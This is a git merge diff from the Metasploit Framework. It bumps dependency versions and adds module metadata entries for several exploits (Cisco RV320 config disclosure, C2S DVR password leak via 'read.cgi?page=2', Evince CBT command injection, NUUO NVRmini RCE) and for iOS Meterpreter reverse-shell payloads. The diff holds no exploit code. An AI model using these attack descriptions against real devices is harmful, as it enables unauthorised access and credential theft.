Merge branch 'master' of https://github.com/rapid7/metasploit-framework into ipcamera
commit
24b899d6d2
|
@ -20,6 +20,7 @@ env:
|
|||
- CMD='bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag ~content"'
|
||||
# Used for testing the remote data service
|
||||
- CMD='bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content" REMOTE_DB=1'
|
||||
- CMD='bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag ~content" REMOTE_DB=1'
|
||||
|
||||
matrix:
|
||||
fast_finish: true
|
||||
|
|
2
Gemfile
2
Gemfile
|
@ -3,6 +3,8 @@ source 'https://rubygems.org'
|
|||
# spec.add_runtime_dependency '<name>', [<version requirements>]
|
||||
gemspec name: 'metasploit-framework'
|
||||
|
||||
gem 'sqlite3', '~>1.3.0'
|
||||
|
||||
# separate from test as simplecov is not run on travis-ci
|
||||
group :coverage do
|
||||
# code coverage for tests
|
||||
|
|
19
Gemfile.lock
19
Gemfile.lock
|
@ -1,7 +1,7 @@
|
|||
PATH
|
||||
remote: .
|
||||
specs:
|
||||
metasploit-framework (5.0.5)
|
||||
metasploit-framework (5.0.6)
|
||||
actionpack (~> 4.2.6)
|
||||
activerecord (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
|
@ -21,9 +21,9 @@ PATH
|
|||
metasploit-concern
|
||||
metasploit-credential
|
||||
metasploit-model
|
||||
metasploit-payloads (= 1.3.58)
|
||||
metasploit-payloads (= 1.3.61)
|
||||
metasploit_data_models
|
||||
metasploit_payloads-mettle (= 0.5.4)
|
||||
metasploit_payloads-mettle (= 0.5.7)
|
||||
mqtt
|
||||
msgpack
|
||||
nessus_rest
|
||||
|
@ -163,12 +163,12 @@ GEM
|
|||
activemodel (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
railties (~> 4.2.6)
|
||||
metasploit-credential (3.0.2)
|
||||
metasploit-credential (3.0.3)
|
||||
metasploit-concern
|
||||
metasploit-model
|
||||
metasploit_data_models (>= 3.0.0)
|
||||
net-ssh
|
||||
pg (~> 0.15)
|
||||
pg
|
||||
railties
|
||||
rex-socket
|
||||
rubyntlm
|
||||
|
@ -177,18 +177,18 @@ GEM
|
|||
activemodel (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
railties (~> 4.2.6)
|
||||
metasploit-payloads (1.3.58)
|
||||
metasploit_data_models (3.0.4)
|
||||
metasploit-payloads (1.3.61)
|
||||
metasploit_data_models (3.0.5)
|
||||
activerecord (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
arel-helpers
|
||||
metasploit-concern
|
||||
metasploit-model
|
||||
pg (= 0.20.0)
|
||||
pg
|
||||
postgres_ext
|
||||
railties (~> 4.2.6)
|
||||
recog (~> 2.0)
|
||||
metasploit_payloads-mettle (0.5.4)
|
||||
metasploit_payloads-mettle (0.5.7)
|
||||
method_source (0.9.2)
|
||||
mini_portile2 (2.4.0)
|
||||
minitest (5.11.3)
|
||||
|
@ -377,6 +377,7 @@ DEPENDENCIES
|
|||
rspec-rails
|
||||
rspec-rerun
|
||||
simplecov
|
||||
sqlite3 (~> 1.3.0)
|
||||
swagger-blocks
|
||||
timecop
|
||||
yard
|
||||
|
|
10
LICENSE_GEMS
10
LICENSE_GEMS
|
@ -43,12 +43,12 @@ json, 2.1.0, ruby
|
|||
loofah, 2.2.3, MIT
|
||||
metasm, 1.0.3, LGPL
|
||||
metasploit-concern, 2.0.5, "New BSD"
|
||||
metasploit-credential, 3.0.2, "New BSD"
|
||||
metasploit-framework, 5.0.5, "New BSD"
|
||||
metasploit-credential, 3.0.3, "New BSD"
|
||||
metasploit-framework, 5.0.6, "New BSD"
|
||||
metasploit-model, 2.0.4, "New BSD"
|
||||
metasploit-payloads, 1.3.58, "3-clause (or ""modified"") BSD"
|
||||
metasploit_data_models, 3.0.4, "New BSD"
|
||||
metasploit_payloads-mettle, 0.5.4, "3-clause (or ""modified"") BSD"
|
||||
metasploit-payloads, 1.3.61, "3-clause (or ""modified"") BSD"
|
||||
metasploit_data_models, 3.0.5, "New BSD"
|
||||
metasploit_payloads-mettle, 0.5.7, "3-clause (or ""modified"") BSD"
|
||||
method_source, 0.9.2, MIT
|
||||
mini_portile2, 2.4.0, MIT
|
||||
minitest, 5.11.3, MIT
|
||||
|
|
|
@ -14,7 +14,7 @@ development: &pgsql
|
|||
adapter: postgresql
|
||||
database: metasploit_framework_development
|
||||
username: postgres
|
||||
pool: 5
|
||||
pool: 25
|
||||
timeout: 5
|
||||
|
||||
# Warning: The database defined as "test" will be erased and
|
||||
|
|
Binary file not shown.
Binary file not shown.
|
@ -13614,6 +13614,51 @@
|
|||
"notes": {
|
||||
}
|
||||
},
|
||||
"auxiliary_gather/c2s_dvr_password_disclosure": {
|
||||
"name": "C2S DVR Management Password Disclosure",
|
||||
"full_name": "auxiliary/gather/c2s_dvr_password_disclosure",
|
||||
"rank": 300,
|
||||
"disclosure_date": "2016-08-19",
|
||||
"type": "auxiliary",
|
||||
"author": [
|
||||
"Yakir Wizman",
|
||||
"h00die"
|
||||
],
|
||||
"description": "C2S DVR allows an unauthenticated user to disclose the username\n & password by requesting the javascript page 'read.cgi?page=2'.\n This may also work on some cameras including IRDOME-II-C2S, IRBOX-II-C2S.",
|
||||
"references": [
|
||||
"EDB-40265"
|
||||
],
|
||||
"is_server": false,
|
||||
"is_client": false,
|
||||
"platform": "",
|
||||
"arch": "",
|
||||
"rport": 80,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2019-01-30 20:27:19 +0000",
|
||||
"path": "/modules/auxiliary/gather/c2s_dvr_password_disclosure.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "gather/c2s_dvr_password_disclosure",
|
||||
"check": true,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
}
|
||||
},
|
||||
"auxiliary_gather/censys_search": {
|
||||
"name": "Censys Search",
|
||||
"full_name": "auxiliary/gather/censys_search",
|
||||
|
@ -13730,6 +13775,56 @@
|
|||
"notes": {
|
||||
}
|
||||
},
|
||||
"auxiliary_gather/cisco_rv320_config": {
|
||||
"name": "Cisco RV320/RV326 Configuration Disclosure",
|
||||
"full_name": "auxiliary/gather/cisco_rv320_config",
|
||||
"rank": 300,
|
||||
"disclosure_date": "2019-01-24",
|
||||
"type": "auxiliary",
|
||||
"author": [
|
||||
"RedTeam Pentesting GmbH <release@redteam-pentesting.de>",
|
||||
"Aaron Soto <asoto@rapid7.com>"
|
||||
],
|
||||
"description": "A vulnerability in the web-based management interface of Cisco Small Business\n RV320 and RV325 Dual Gigabit WAN VPN Routers could allow an unauthenticated,\n remote attacker to retrieve sensitive information. The vulnerability is due\n to improper access controls for URLs. An attacker could exploit this\n vulnerability by connecting to an affected device via HTTP or HTTPS and\n requesting specific URLs. A successful exploit could allow the attacker to\n download the router configuration or detailed diagnostic information. Cisco\n has released firmware updates that address this vulnerability.",
|
||||
"references": [
|
||||
"EDB-46262",
|
||||
"BID-106732",
|
||||
"CVE-2019-1653",
|
||||
"URL-https://seclists.org/fulldisclosure/2019/Jan/52",
|
||||
"URL-https://bst.cloudapps.cisco.com/bugsearch/bug/CSCvg42801",
|
||||
"URL-http://www.cisco.com/en/US/products/csa/cisco-sa-20110330-acs.html"
|
||||
],
|
||||
"is_server": false,
|
||||
"is_client": false,
|
||||
"platform": "",
|
||||
"arch": "",
|
||||
"rport": 443,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2019-02-06 23:36:41 +0000",
|
||||
"path": "/modules/auxiliary/gather/cisco_rv320_config.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "gather/cisco_rv320_config",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
}
|
||||
},
|
||||
"auxiliary_gather/citrix_published_applications": {
|
||||
"name": "Citrix MetaFrame ICA Published Applications Scanner",
|
||||
"full_name": "auxiliary/gather/citrix_published_applications",
|
||||
|
@ -45041,6 +45136,7 @@
|
|||
"qwertyoruiop",
|
||||
"siguza",
|
||||
"tihmstar",
|
||||
"benjamin-42",
|
||||
"timwr"
|
||||
],
|
||||
"description": "This module exploits a UAF vulnerability in WebKit's JavaScriptCore library.",
|
||||
|
@ -45056,7 +45152,9 @@
|
|||
"URL-https://www.blackhat.com/docs/eu-16/materials/eu-16-Bazaliy-Mobile-Espionage-in-the-Wild-Pegasus-and-Nation-State-Level-Attacks.pdf",
|
||||
"URL-https://github.com/Siguza/PhoenixNonce",
|
||||
"URL-https://jndok.github.io/2016/10/04/pegasus-writeup/",
|
||||
"URL-https://sektioneins.de/en/blog/16-09-02-pegasus-ios-kernel-vulnerability-explained.html"
|
||||
"URL-https://sektioneins.de/en/blog/16-09-02-pegasus-ios-kernel-vulnerability-explained.html",
|
||||
"URL-https://github.com/benjamin-42/Trident",
|
||||
"URL-http://blog.tihmstar.net/2018/01/modern-post-exploitation-techniques.html"
|
||||
],
|
||||
"is_server": false,
|
||||
"is_client": true,
|
||||
|
@ -45072,7 +45170,7 @@
|
|||
"targets": [
|
||||
"Automatic"
|
||||
],
|
||||
"mod_time": "2018-05-30 18:04:22 +0000",
|
||||
"mod_time": "2018-10-16 14:59:27 +0000",
|
||||
"path": "/modules/exploits/apple_ios/browser/webkit_trident.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "apple_ios/browser/webkit_trident",
|
||||
|
@ -49793,7 +49891,8 @@
|
|||
"description": "This module exploits the command injection vulnerability of MailCleaner Community Edition product. An authenticated user can execute an\n operating system command under the context of the web server user which is root.\n\n /admin/managetracing/search/search endpoint takes several user inputs and then pass them to the internal service which is responsible for executing\n operating system command. One of the user input is being passed to the service without proper validation. That cause a command injection vulnerability.",
|
||||
"references": [
|
||||
"URL-https://pentest.blog/advisory-mailcleaner-community-edition-remote-code-execution/",
|
||||
"CVE-2018-20323"
|
||||
"CVE-2018-20323",
|
||||
"CVE-2018-1000999"
|
||||
],
|
||||
"is_server": true,
|
||||
"is_client": false,
|
||||
|
@ -49819,7 +49918,7 @@
|
|||
"Python payload",
|
||||
"Command payload"
|
||||
],
|
||||
"mod_time": "2019-01-08 13:27:26 +0000",
|
||||
"mod_time": "2019-01-23 09:27:12 +0000",
|
||||
"path": "/modules/exploits/linux/http/mailcleaner_exec.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/http/mailcleaner_exec",
|
||||
|
@ -59657,6 +59756,55 @@
|
|||
"notes": {
|
||||
}
|
||||
},
|
||||
"exploit_multi/fileformat/evince_cbt_cmd_injection": {
|
||||
"name": "Evince CBT File Command Injection",
|
||||
"full_name": "exploit/multi/fileformat/evince_cbt_cmd_injection",
|
||||
"rank": 600,
|
||||
"disclosure_date": "2017-07-13",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Felix Wilhelm",
|
||||
"Sebastian Krahmer",
|
||||
"Matlink",
|
||||
"bcoles <bcoles@gmail.com>"
|
||||
],
|
||||
"description": "This module exploits a command injection vulnerability in Evince\n before version 3.24.1 when opening comic book `.cbt` files.\n\n Some file manager software, such as Nautilus and Atril, may allow\n automatic exploitation without user interaction due to thumbnailer\n preview functionality.\n\n Note that limited space is available for the payload (<256 bytes).\n Reverse Bash and Reverse Netcat payloads should be sufficiently small.\n\n This module has been tested successfully on evince versions:\n\n 3.4.0-3.1 + nautilus 3.4.2-1+build1 on Kali 1.0.6;\n 3.18.2-1ubuntu4.3 + atril 1.12.2-1ubuntu0.3 on Ubuntu 16.04.",
|
||||
"references": [
|
||||
"BID-99597",
|
||||
"CVE-2017-1000083",
|
||||
"EDB-45824",
|
||||
"URL-https://seclists.org/oss-sec/2017/q3/128",
|
||||
"URL-https://bugzilla.gnome.org/show_bug.cgi?id=784630",
|
||||
"URL-https://bugzilla.suse.com/show_bug.cgi?id=1046856",
|
||||
"URL-https://bugs.launchpad.net/ubuntu/+source/atril/+bug/1735418",
|
||||
"URL-https://bugs.launchpad.net/ubuntu/+source/atril/+bug/1800662",
|
||||
"URL-https://access.redhat.com/security/cve/cve-2017-1000083",
|
||||
"URL-https://security-tracker.debian.org/tracker/CVE-2017-1000083"
|
||||
],
|
||||
"is_server": true,
|
||||
"is_client": false,
|
||||
"platform": "Unix",
|
||||
"arch": "cmd",
|
||||
"rport": null,
|
||||
"autofilter_ports": [
|
||||
|
||||
],
|
||||
"autofilter_services": [
|
||||
|
||||
],
|
||||
"targets": [
|
||||
"Automatic"
|
||||
],
|
||||
"mod_time": "2019-02-03 06:18:31 +0000",
|
||||
"path": "/modules/exploits/multi/fileformat/evince_cbt_cmd_injection.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "multi/fileformat/evince_cbt_cmd_injection",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
}
|
||||
},
|
||||
"exploit_multi/fileformat/ghostscript_failed_restore": {
|
||||
"name": "Ghostscript Failed Restore Command Execution",
|
||||
"full_name": "exploit/multi/fileformat/ghostscript_failed_restore",
|
||||
|
@ -64216,6 +64364,56 @@
|
|||
"notes": {
|
||||
}
|
||||
},
|
||||
"exploit_multi/http/nuuo_nvrmini_upgrade_rce": {
|
||||
"name": "NUUO NVRmini upgrade_handle.php Remote Command Execution",
|
||||
"full_name": "exploit/multi/http/nuuo_nvrmini_upgrade_rce",
|
||||
"rank": 600,
|
||||
"disclosure_date": "2018-08-04",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Berk Dusunur",
|
||||
"numan turle"
|
||||
],
|
||||
"description": "This exploits a vulnerability in the web application of NUUO NVRmini IP camera,\n which can be done by triggering the writeuploaddir command in the upgrade_handle.php file.",
|
||||
"references": [
|
||||
"URL-https://www.berkdusunur.net/2018/11/development-of-metasploit-module-after.html",
|
||||
"URL-https://www.tenable.com/security/research/tra-2018-41",
|
||||
"CVE-2018-14933",
|
||||
"EDB-45070"
|
||||
],
|
||||
"is_server": true,
|
||||
"is_client": false,
|
||||
"platform": "Linux,Unix,Windows",
|
||||
"arch": "cmd",
|
||||
"rport": 80,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": [
|
||||
"NUUO NVRmini"
|
||||
],
|
||||
"mod_time": "2019-02-06 22:26:31 +0000",
|
||||
"path": "/modules/exploits/multi/http/nuuo_nvrmini_upgrade_rce.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "multi/http/nuuo_nvrmini_upgrade_rce",
|
||||
"check": true,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
}
|
||||
},
|
||||
"exploit_multi/http/op5_license": {
|
||||
"name": "OP5 license.php Remote Command Execution",
|
||||
"full_name": "exploit/multi/http/op5_license",
|
||||
|
@ -72068,7 +72266,7 @@
|
|||
"Python payload",
|
||||
"Command payload"
|
||||
],
|
||||
"mod_time": "2018-11-20 17:57:33 +0000",
|
||||
"mod_time": "2019-01-22 15:39:59 +0000",
|
||||
"path": "/modules/exploits/osx/browser/safari_proxy_object_type_confusion.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "osx/browser/safari_proxy_object_type_confusion",
|
||||
|
@ -128730,7 +128928,7 @@
|
|||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-01-31 00:12:45 +0000",
|
||||
"mod_time": "2019-02-06 22:32:24 +0000",
|
||||
"path": "/modules/payloads/singles/apple_ios/aarch64/meterpreter_reverse_http.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "apple_ios/aarch64/meterpreter_reverse_http",
|
||||
|
@ -128763,7 +128961,7 @@
|
|||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-01-31 00:12:45 +0000",
|
||||
"mod_time": "2019-02-06 22:32:24 +0000",
|
||||
"path": "/modules/payloads/singles/apple_ios/aarch64/meterpreter_reverse_https.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "apple_ios/aarch64/meterpreter_reverse_https",
|
||||
|
@ -128796,7 +128994,7 @@
|
|||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-01-31 00:12:45 +0000",
|
||||
"mod_time": "2019-02-06 22:32:24 +0000",
|
||||
"path": "/modules/payloads/singles/apple_ios/aarch64/meterpreter_reverse_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "apple_ios/aarch64/meterpreter_reverse_tcp",
|
||||
|
@ -128837,6 +129035,105 @@
|
|||
"notes": {
|
||||
}
|
||||
},
|
||||
"payload_apple_ios/armle/meterpreter_reverse_http": {
|
||||
"name": "Apple_iOS Meterpreter, Reverse HTTP Inline",
|
||||
"full_name": "payload/apple_ios/armle/meterpreter_reverse_http",
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"Adam Cammack <adam_cammack@rapid7.com>",
|
||||
"Brent Cook <brent_cook@rapid7.com>",
|
||||
"timwr"
|
||||
],
|
||||
"description": "Run the Meterpreter / Mettle server payload (stageless)",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"is_server": false,
|
||||
"is_client": false,
|
||||
"platform": "Apple_iOS",
|
||||
"arch": "armle",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-02-07 09:33:36 +0000",
|
||||
"path": "/modules/payloads/singles/apple_ios/armle/meterpreter_reverse_http.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "apple_ios/armle/meterpreter_reverse_http",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
}
|
||||
},
|
||||
"payload_apple_ios/armle/meterpreter_reverse_https": {
|
||||
"name": "Apple_iOS Meterpreter, Reverse HTTPS Inline",
|
||||
"full_name": "payload/apple_ios/armle/meterpreter_reverse_https",
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"Adam Cammack <adam_cammack@rapid7.com>",
|
||||
"Brent Cook <brent_cook@rapid7.com>",
|
||||
"timwr"
|
||||
],
|
||||
"description": "Run the Meterpreter / Mettle server payload (stageless)",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"is_server": false,
|
||||
"is_client": false,
|
||||
"platform": "Apple_iOS",
|
||||
"arch": "armle",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-02-07 09:33:36 +0000",
|
||||
"path": "/modules/payloads/singles/apple_ios/armle/meterpreter_reverse_https.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "apple_ios/armle/meterpreter_reverse_https",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
}
|
||||
},
|
||||
"payload_apple_ios/armle/meterpreter_reverse_tcp": {
|
||||
"name": "Apple_iOS Meterpreter, Reverse TCP Inline",
|
||||
"full_name": "payload/apple_ios/armle/meterpreter_reverse_tcp",
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"Adam Cammack <adam_cammack@rapid7.com>",
|
||||
"Brent Cook <brent_cook@rapid7.com>",
|
||||
"timwr"
|
||||
],
|
||||
"description": "Run the Meterpreter / Mettle server payload (stageless)",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"is_server": false,
|
||||
"is_client": false,
|
||||
"platform": "Apple_iOS",
|
||||
"arch": "armle",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-02-07 09:33:36 +0000",
|
||||
"path": "/modules/payloads/singles/apple_ios/armle/meterpreter_reverse_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "apple_ios/armle/meterpreter_reverse_tcp",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
}
|
||||
},
|
||||
"payload_bsd/sparc/shell_bind_tcp": {
|
||||
"name": "BSD Command Shell, Bind TCP Inline",
|
||||
"full_name": "payload/bsd/sparc/shell_bind_tcp",
|
||||
|
@ -132358,7 +132655,7 @@
|
|||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-01-31 00:12:45 +0000",
|
||||
"mod_time": "2019-02-06 22:32:24 +0000",
|
||||
"path": "/modules/payloads/singles/linux/armbe/meterpreter_reverse_http.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/armbe/meterpreter_reverse_http",
|
||||
|
@ -132391,7 +132688,7 @@
|
|||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-01-31 00:12:45 +0000",
|
||||
"mod_time": "2019-02-06 22:32:24 +0000",
|
||||
"path": "/modules/payloads/singles/linux/armbe/meterpreter_reverse_https.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/armbe/meterpreter_reverse_https",
|
||||
|
@ -132424,7 +132721,7 @@
|
|||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-01-31 00:12:45 +0000",
|
||||
"mod_time": "2019-02-06 22:32:24 +0000",
|
||||
"path": "/modules/payloads/singles/linux/armbe/meterpreter_reverse_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/armbe/meterpreter_reverse_tcp",
|
||||
|
@ -132615,7 +132912,7 @@
|
|||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-01-31 00:12:45 +0000",
|
||||
"mod_time": "2019-02-06 22:32:24 +0000",
|
||||
"path": "/modules/payloads/singles/linux/armle/meterpreter_reverse_http.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/armle/meterpreter_reverse_http",
|
||||
|
@ -132648,7 +132945,7 @@
|
|||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-01-31 00:12:45 +0000",
|
||||
"mod_time": "2019-02-06 22:32:24 +0000",
|
||||
"path": "/modules/payloads/singles/linux/armle/meterpreter_reverse_https.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/armle/meterpreter_reverse_https",
|
||||
|
@ -132681,7 +132978,7 @@
|
|||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-01-31 00:12:45 +0000",
|
||||
"mod_time": "2019-02-06 22:32:24 +0000",
|
||||
"path": "/modules/payloads/singles/linux/armle/meterpreter_reverse_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/armle/meterpreter_reverse_tcp",
|
||||
|
@ -133004,7 +133301,7 @@
|
|||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-01-31 00:12:45 +0000",
|
||||
"mod_time": "2019-02-06 22:32:24 +0000",
|
||||
"path": "/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_http.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/mipsbe/meterpreter_reverse_http",
|
||||
|
@ -133037,7 +133334,7 @@
|
|||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-01-31 00:12:45 +0000",
|
||||
"mod_time": "2019-02-06 22:32:24 +0000",
|
||||
"path": "/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_https.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/mipsbe/meterpreter_reverse_https",
|
||||
|
@ -133070,7 +133367,7 @@
|
|||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-01-31 00:12:45 +0000",
|
||||
"mod_time": "2019-02-06 22:32:24 +0000",
|
||||
"path": "/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/mipsbe/meterpreter_reverse_tcp",
|
||||
|
@ -133298,7 +133595,7 @@
|
|||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-01-31 00:12:45 +0000",
|
||||
"mod_time": "2019-02-06 22:32:24 +0000",
|
||||
"path": "/modules/payloads/singles/linux/mipsle/meterpreter_reverse_http.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/mipsle/meterpreter_reverse_http",
|
||||
|
@ -133331,7 +133628,7 @@
|
|||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-01-31 00:12:45 +0000",
|
||||
"mod_time": "2019-02-06 22:32:24 +0000",
|
||||
"path": "/modules/payloads/singles/linux/mipsle/meterpreter_reverse_https.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/mipsle/meterpreter_reverse_https",
|
||||
|
@ -133364,7 +133661,7 @@
|
|||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-01-31 00:12:45 +0000",
|
||||
"mod_time": "2019-02-06 22:32:24 +0000",
|
||||
"path": "/modules/payloads/singles/linux/mipsle/meterpreter_reverse_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/mipsle/meterpreter_reverse_tcp",
|
||||
|
@ -133527,7 +133824,7 @@
|
|||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-01-31 00:12:45 +0000",
|
||||
"mod_time": "2019-02-06 22:32:24 +0000",
|
||||
"path": "/modules/payloads/singles/linux/ppc/meterpreter_reverse_http.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/ppc/meterpreter_reverse_http",
|
||||
|
@ -133560,7 +133857,7 @@
|
|||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-01-31 00:12:45 +0000",
|
||||
"mod_time": "2019-02-06 22:32:24 +0000",
|
||||
"path": "/modules/payloads/singles/linux/ppc/meterpreter_reverse_https.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/ppc/meterpreter_reverse_https",
|
||||
|
@ -133593,7 +133890,7 @@
|
|||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-01-31 00:12:45 +0000",
|
||||
"mod_time": "2019-02-06 22:32:24 +0000",
|
||||
"path": "/modules/payloads/singles/linux/ppc/meterpreter_reverse_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/ppc/meterpreter_reverse_tcp",
|
||||
|
@ -133911,7 +134208,7 @@
|
|||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-01-31 00:12:45 +0000",
|
||||
"mod_time": "2019-02-06 22:32:24 +0000",
|
||||
"path": "/modules/payloads/singles/linux/ppce500v2/meterpreter_reverse_http.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/ppce500v2/meterpreter_reverse_http",
|
||||
|
@ -133944,7 +134241,7 @@
|
|||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-01-31 00:12:45 +0000",
|
||||
"mod_time": "2019-02-06 22:32:24 +0000",
|
||||
"path": "/modules/payloads/singles/linux/ppce500v2/meterpreter_reverse_https.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/ppce500v2/meterpreter_reverse_https",
|
||||
|
@ -133977,7 +134274,7 @@
|
|||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-01-31 00:12:45 +0000",
|
||||
"mod_time": "2019-02-06 22:32:24 +0000",
|
||||
"path": "/modules/payloads/singles/linux/ppce500v2/meterpreter_reverse_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/ppce500v2/meterpreter_reverse_tcp",
|
||||
|
@ -153293,7 +153590,7 @@
|
|||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2017-07-24 06:26:21 +0000",
|
||||
"mod_time": "2019-02-02 15:33:48 +0000",
|
||||
"path": "/modules/post/windows/gather/enum_patches.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/gather/enum_patches",
|
||||
|
|
|
@ -0,0 +1,76 @@
|
|||
## Description
|
||||
|
||||
C2S DVR allows an unauthenticated user to disclose the username
|
||||
& password by requesting the javascript page 'read.cgi?page=2'.
|
||||
This may also work on some cameras including IRDOME-II-C2S, IRBOX-II-C2S.
|
||||
|
||||
## Vulnerable Application
|
||||
